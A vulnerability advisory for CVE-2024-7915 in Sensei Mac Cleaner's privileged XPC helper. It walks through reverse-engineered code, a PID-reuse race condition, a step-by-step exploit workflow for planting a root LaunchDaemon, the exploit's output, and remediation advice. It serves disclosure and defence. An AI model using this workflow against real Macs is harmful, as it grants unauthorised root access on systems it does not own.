macOS Sensei Mac Cleaner Local Privilege Escalation via PID Reuse - Race Condition Attack

Dec 11, 2024

CVE Number

CVE-2024-7915

Credits

Carlos Garrido of Pentraze Cybersecurity

Summary

The application Sensei Mac Cleaner is affected by a local privilege escalation vulnerability that allows an attacker to execute various operations with root privileges. These operations include arbitrary file deletion and modification, loading and unloading daemons, altering file permissions, loading system extensions, and performing other unauthorized actions.

CVSS

7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

The Sensei Mac Cleaner application follows the “factored applications” model, meaning its functionality is divided into separate components. In this context, Sensei includes a helper tool called org.cindori.SenseiHelper that delegates specific tasks requiring elevated privileges, such as such as activating the Trim kernel extension (KEXT) and managing the state of the SenseiDaemon, among other tasks. Additionally, this Privileged Helper Tool is contacted via XPC.

It’s crucial for an XPC service to verify the code signature of any process attempting to establish a connection. There are two methods for performing this validation: the public processIdentifier property and the private auditToken property, both available through the NSXPCConnection class. However, relying on processIdentifier is insecure. Unfortunately, Sensei currently uses this less secure approach.

Reverse Engineering

listener:shouldAcceptNewConnection:

When reversing XPC services, a key method to examine is listener:shouldAcceptNewConnection:. Defined by the NSXPCListenerDelegate protocol, this method is triggered upon each incoming connection request and is responsible for determining whether the connection should be accepted, effectively controlling how the service establishes communication with clients.

When the listener:shouldAcceptNewConnection: method is invoked to determine whether to accept a connection, the sub_100013340 function is called before returning YES (1). This indicates that some form of intermediate logic, such as a validation check, is likely performed before the connection is approved.

char -[_TtC24org_cindori_SenseiHelper6Helper listener:shouldAcceptNewConnection:](id self, SEL sel, id listener, id shouldAcceptNewConnection)
        int64_t rax
        int64_t var_38 = rax
        id obj = _objc_retain(obj: listener)
        id obj_1 = _objc_retain(obj: shouldAcceptNewConnection)
        id obj_2 = _objc_retain(obj: self)
        char rax_1 = sub_100013340(obj_1, obj_2)
        _objc_release(obj)
        _objc_release(obj: obj_1)
        _objc_release(obj: obj_2)
        return rax_1 & 1

sub_100013340

The sub_100013340 function takes two parameters: obj_1, which is the object (NSXPCConnection)newConnection*, and obj_2, which is the static code object representing the signed code on disk (SecStaticCodeRef).

Based on the function prototype and the following disassembled code, we can deduce the following:

  1. The function accesses the public processIdentifier parameter to validate the incoming connection. This point is critical, as it explains why we are ultimately able to establish a successful connection with the server and invoke the methods exposed by the XPC interface.

  2. The protocol configured via setExportedInterface: is HelperProtocol. This means that anyone who successfully establishes a connection to the XPC service will be able to invoke the functions defined by this protocol.

uint64_t sub_100013340(struct objc_object* arg1, SecStaticCodeRef arg2 @ r13)

        SecStaticCodeRef var_20 = arg2
        int64_t (* const aBlock)() = nullptr
        int64_t var_60 = -0x2000000000000000
        _$ss11_StringGutsV4growyySiF(0x26)
        _swift_bridgeObjectRelease(var_60)
        aBlock = -0xd000000000000021
        int64_t var_60_1 = -0x7ffffffefffe77a0
        int32_t var_38 = _objc_msgSend(self: arg1, cmd: "processIdentifier")
        .
        .
        <SNIP>
        .
        .
        *(arg2 + data_10001d9c0) = 0
        struct objc_protocol_t* protoRef_AppProtocol_1 = protoRef_AppProtocol
        id rax_4 = _objc_opt_self(obj: _OBJC_CLASS_$_NSXPCInterface)
        id obj = _objc_retainAutoreleasedReturnValue(obj: _objc_msgSend(self: rax_4, cmd: "interfaceWithProtocol:", protoRef_AppProtocol_1))
        _objc_msgSend(self: arg1, cmd: "setRemoteObjectInterface:", obj)
        _objc_release(obj)
        id obj_1 = _objc_retainAutoreleasedReturnValue(obj: _objc_msgSend(self: rax_4, cmd: "interfaceWithProtocol:", protoRef_HelperProtocol))
         _objc_msgSend(self: arg1, cmd: "setExportedInterface:", obj_1)
         _objc_release(obj: obj_1)
        _objc_msgSend(self: arg1, cmd: "setExportedObject:", arg2)
        .
        .
        <SNIP>
        .
        .

Dissecting the HelperProtocol Interface

By accessing the objc_protocol_t structure, we can extract valuable structures and data, such as the protocol name and the methods it defines:

  • The protocol name is HelperProtocol. This information is crucial before attempting to establish a remote connection with the XPC service.
    struct objc_protocol_t protocol_HelperProtocol = 
        {
            void* isa = 0x0
            char* mangledName = protocolName_HelperProtocol {"HelperProtocol"}
            struct objc_protocol_list_t* protocols = 0x0
            struct objc_method_list_t* instanceMethods = method_list_HelperProtocol
            struct objc_method_list_t* classMethods = 0x0
            struct objc_method_list_t* optionalInstanceMethods = 0x0
            struct objc_method_list_t* optionalClassMethods = 0x0
            void* instanceProperties = 0x0
            uint32_t size = 0x60
            uint32_t flags = 0x1
        }

Additionally, through the instanceMethods object, we can identify all the methods (objc_method_list_t) that the protocol exposes:

  • We can identify several methods that enable various operations as the root user, such as creating files (method_createEmptyFileWithPath:completion:), copying files (method_copyItemsWithSources:targets:permissions:completion:), loading daemons (method_loadDaemonWithPath:label:completion:), among others.
    struct objc_method_list_t method_list_HelperProtocol = 
        {
              uint32_t obsolete = 0x18
              uint32_t count = 0x15
        }
    struct objc_method_t method_createEmptyFileWithPath:completion: = 
        {
                char* name = sel_createEmptyFileWithPath:completion: {"createEmptyFileWithPath:completi…"}
                char* types = selTypes_unloadDaemonWithPath:completion: {"v32@0:8@16@?24"}
                void* imp = 0x0
        }
    struct objc_method_t method_loadExtensionWithName:completion: = 
        {
                char* name = sel_loadExtensionWithName:completion: {"loadExtensionWithName:completion…"}
                char* types = selTypes_unloadDaemonWithPath:completion: {"v32@0:8@16@?24"}
                void* imp = 0x0
        }
    struct objc_method_t method_rebuildKextCacheWithCompletion: = 
        {
                char* name = sel_rebuildKextCacheWithCompletion: {"rebuildKextCacheWithCompletion:"}
                char* types = selTypes_isTrimEnabledWithCompletion: {"v24@0:8@?16"}
                void* imp = 0x0
        }
        .
        .
        <SNIP>
        .
        .
    struct objc_method_t method_installExtensionWithUrl:completion: = 
        {
                char* name = sel_installExtensionWithUrl:completion: {"installExtensionWithUrl:completi…"}
                char* types = selTypes_unloadDaemonWithPath:completion: {"v32@0:8@16@?24"}
                void* imp = 0x0
        }
    struct objc_method_t method_copyItemsWithSources:targets:permissions:completion: = 
        {
                char* name = sel_copyItemsWithSources:targets:permissions:completion: {"copyItemsWithSources:targets:per…"}
                char* types = selTypes_copyItemsWithSources:targets:permissions:completion: {"v48@0:8@16@24@32@?40"}
                void* imp = 0x0
        }
    struct objc_method_t method_loadDaemonWithPath:label:completion: = 
        {
                char* name = sel_loadDaemonWithPath:label:completion: {"loadDaemonWithPath:label:complet…"}
                char* types = selTypes_loadDaemonWithPath:label:completion: {"v40@0:8@16@24@?32"}
                void* imp = 0x0
        }
    struct objc_method_t method_unloadDaemonWithPath:completion: = 
        {
                char* name = sel_unloadDaemonWithPath:completion: {"unloadDaemonWithPath:completion:"}
                char* types = selTypes_unloadDaemonWithPath:completion: {"v32@0:8@16@?24"}
                void* imp = 0x0
        }
        .
        .
        <SNIP>
        .
        .

Validating the Client’s Code Signature verification process by the XPC Service

If we develop a simple XPC client to attempt to establish a connection with the XPC service, the request will be rejected since the client’s code signature does not match the expected Team ID and Bundle Identifier enforced by the service.

2024-08-18 13:47:23.677 simpleClient[39275:2439743] [+] macOS Cindori Sensei  - Simple Client: 

2024-08-18 13:47:23.679 simpleClient[39275:2439743] [+] Current Process Id: 39275
2024-08-18 13:47:23.679 simpleClient[39275:2439743] [+] Establishing and resuming connection [_agentConnection] with target service name: `org.cindori.SenseiHelper`
2024-08-18 13:47:23.680 simpleClient[39275:2439743] [+] Remote Object: <__NSXPCInterfaceProxy_HelperProtocol: 0x600002638050>
2024-08-18 13:47:23.680 simpleClient[39275:2439743] [+] Remote Connection: <NSXPCConnection: 0x600003430000> connection to service named org.cindori.SenseiHelper
2024-08-18 13:47:23.680 simpleClient[39275:2439743] [+] Obtaining version information by calling `getVersionWithCompletion:` method
2024-08-18 13:47:24.245 simpleClient[39275:2439761] [!] Something went wrong!
2024-08-18 13:47:24.245 simpleClient[39275:2439761] [!] Error: Error Domain=NSCocoaErrorDomain Code=4097 "connection to service named org.cindori.SenseiHelper" UserInfo={NSDebugDescription=connection to service named org.cindori.SenseiHelper}

2024-08-18 13:47:33.680 simpleClient[39275:2439743] [+] Done!

If we inspect the application’s logs, we will see that the service indeed declined our connection originating from process ID 39275:

cat /Library/Logs/Sensei/SenseiHelper.log| grep  "39275"               
2024-08-18 13:47:23: Receving connection request from 39275...
2024-08-18 13:47:24: XPC Listener 39275 not valid, denying connection.

PID Reuse Attack to bypass client’s code signature verification process

When a macOS XPC service verifies the calling process by PID instead of using the audit token, it becomes susceptible to PID reuse attacks. This type of attack exploits a race condition where an attacker first sends a malicious message to the XPC service and then rapidly executes:

posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);

This function allows the legitimate binary to assume the PID, but by this time, the malicious message has already been sent. If the XPC service authenticates the sender based on the PID after posix_spawn is executed, it will mistakenly attribute the message to a trusted process.

This race condition is possible and works for the following reason: When we call posix_spawn to create a new process, we pass the POSIX_SPAWN_SETEXEC flag, which causes posix_spawn to behave like an execv call, creating a new process with the same process ID. Additionally, we pass the POSIX_SPAWN_START_SUSPENDED flag to ensure that the process starts in a suspended state.

Exploitation Scenario

Sensei Code Signing Information:

During the PID Reuse attack, the program we will invoke via the posix_spawn function will be /Applications/Sensei.app/Contents/MacOS/Sensei, as it contains the code signature, including the Bundle ID and Team ID, that the XPC service expects:

Executable=/Applications/Sensei.app/Contents/MacOS/Sensei
Identifier=org.cindori.Sensei
Format=app bundle with Mach-O universal (x86_64 arm64)
CodeDirectory v=20500 size=52286 flags=0x10000(runtime) hashes=1623+7 location=embedded
Signature size=8992
Timestamp=Apr 29, 2024 at 10:09:40 AM
Info.plist entries=31
TeamIdentifier=ZQK6SX26CE
Runtime Version=14.4.0
Sealed Resources version=2 rules=13 files=319
Internal requirements count=1 size=212
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>com.apple.application-identifier</key><string>ZQK6SX26CE.org.cindori.Sensei</string><key>com.apple.developer.team-identifier</key><string>ZQK6SX26CE</string><key>com.apple.security.application-groups</key><array><string>group.org.cindori.Sensei</string></array></dict></plist>%

Exploitation Workflow

  1. Call the copyItemsWithSources:targets:permissions:completion: function:

    • Copy /Library/LaunchDaemons/org.cindori.SenseiHelper.plist with 0777 permissions to /private/tmp/.
  2. Modify the .plist file:

    • Insert the desired payload into the copied .plist file.
  3. Place the modified .plist file back into /Library/LaunchDaemons with 0644 permissions.

  4. Load the modified daemon:

    • Use the loadDaemonWithPath:label:completion: function to load the modified .plist file.
  5. Cleanup

    • Unload the daemon using the unloadDaemonWithPath:completion: function.

Escalating to root

garrido@Garridos-MacBook-Air Sensei % ls -l /Library/LaunchDaemons/com.privesc.Load.plist 
ls: /Library/LaunchDaemons/com.privesc.Load.plist: No such file or directory
garrido@Garridos-MacBook-Air Sensei % ls -l /Library/pwned.txt
ls: /Library/pwned.txt: No such file or directory
garrido@Garridos-MacBook-Air Sensei % ./SenseiExp
2024-08-17 22:25:55.942 SenseiExp[38436:2363533] [+] macOS Cindori Sensei Exploit -  Privilege Escalation: 

2024-08-17 22:25:55.943 SenseiExp[38436:2363533] ---------------------------------------------------------------
[+] Forked: 38437
2024-08-17 22:25:55.946 SenseiExp[38437:2363553] [+] Establishing and resuming connection [_agentConnection] with target service name: `org.cindori.SenseiHelper`
2024-08-17 22:25:55.948 SenseiExp[38437:2363553] [+] Remote Object: <__NSXPCInterfaceProxy_HelperProtocol: 0x7fd775804b50>
2024-08-17 22:25:55.948 SenseiExp[38437:2363553] [+] Remote Connection: <NSXPCConnection: 0x7fd774f05400> connection to service named org.cindori.SenseiHelper
2024-08-17 22:25:55.948 SenseiExp[38437:2363553] [+] Copying Item `/Library/LaunchDaemons/org.cindori.SenseiHelper.plist` with `0777` permissions to `/private/tmp/com.privesc.Load.plist`
2024-08-17 22:25:58.948 SenseiExp[38436:2363533] [+] Phase 1 Done!

2024-08-17 22:25:58.948 SenseiExp[38436:2363533] ---------------------------------------------------------------
2024-08-17 22:25:58.948 SenseiExp[38436:2363533] [+] Changing `/private/tmp/com.privesc.Load.plist` contents...
2024-08-17 22:25:58.948 SenseiExp[38436:2363533] ---------------------------------------------------------------
[+] Forked: 38438
2024-08-17 22:25:58.960 SenseiExp[38438:2363566] [+] Establishing and resuming connection [_agentConnection] with target service name: `org.cindori.SenseiHelper`
2024-08-17 22:25:58.961 SenseiExp[38438:2363566] [+] Remote Object: <__NSXPCInterfaceProxy_HelperProtocol: 0x7fd774f04990>
2024-08-17 22:25:58.961 SenseiExp[38438:2363566] [+] Remote Connection: <NSXPCConnection: 0x7fd7759040f0> connection to service named org.cindori.SenseiHelper
2024-08-17 22:25:58.962 SenseiExp[38438:2363566] [+] Copying Item `/private/tmp/com.privesc.Load.plist` with `0644` permissions to `/Library/LaunchDaemons/com.privesc.Load.plist`
2024-08-17 22:25:58.963 SenseiExp[38438:2363566] [+] Loading `privesc` daemon with `loadDaemonWithPath:label:completion:`
2024-08-17 22:26:01.962 SenseiExp[38436:2363533] [+] Phase 2 Done!

2024-08-17 22:26:01.963 SenseiExp[38436:2363533] ---------------------------------------------------------------
[+] Forked: 38443
2024-08-17 22:26:01.967 SenseiExp[38443:2363598] [+] Establishing and resuming connection [_agentConnection] with target service name: `org.cindori.SenseiHelper`
2024-08-17 22:26:01.968 SenseiExp[38443:2363598] [+] Remote Object: <__NSXPCInterfaceProxy_HelperProtocol: 0x7fd775805b70>
2024-08-17 22:26:01.968 SenseiExp[38443:2363598] [+] Remote Connection: <NSXPCConnection: 0x7fd775b04080> connection to service named org.cindori.SenseiHelper
2024-08-17 22:26:01.969 SenseiExp[38443:2363598] [+] Unloading `com.privesc.Load` daemon with `unloadDaemonWithPath:completion:`
2024-08-17 22:26:04.968 SenseiExp[38436:2363533] [+] Phase 3 Done!

2024-08-17 22:26:04.968 SenseiExp[38436:2363533] ---------------------------------------------------------------
garrido@Garridos-MacBook-Air Sensei % ls -l /Library/LaunchDaemons/com.privesc.Load.plist
-rw-r--r--  1 root  wheel  411 Aug 17 22:25 /Library/LaunchDaemons/com.privesc.Load.plist
garrido@Garridos-MacBook-Air Sensei % cat /Library/LaunchDaemons/com.privesc.Load.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.privesc.Load</string>
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>-c</string>
<string>touch /Library/pwned.txt</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
garrido@Garridos-MacBook-Air Sensei % ls -l /Library/pwned.txt                           
-rw-r--r--  1 root  wheel  0 Aug 17 22:25 /Library/pwned.txt

Remediation

  1. Terminate the connection upon receiving an unrecognized message.

  2. Perform authorization checks before accepting a connection whenever possible.

  • If authorization checks are not feasible at that stage, use xpc_dictionary_get_audit_token.
  • Alternatively, save the audit token during the accept handler for later use (this method is also effective for NSXPCConnection).
  1. Leverage new APIs for automatic code signing verification before accepting a connection:

    • [NSXPCConnection setCodeSigningRequirement:] (available since macOS 13.0)

    • xpc_connection_set_peer_code_signing_requirement (available since macOS 12.0)

References

¿Ver el sitio en español?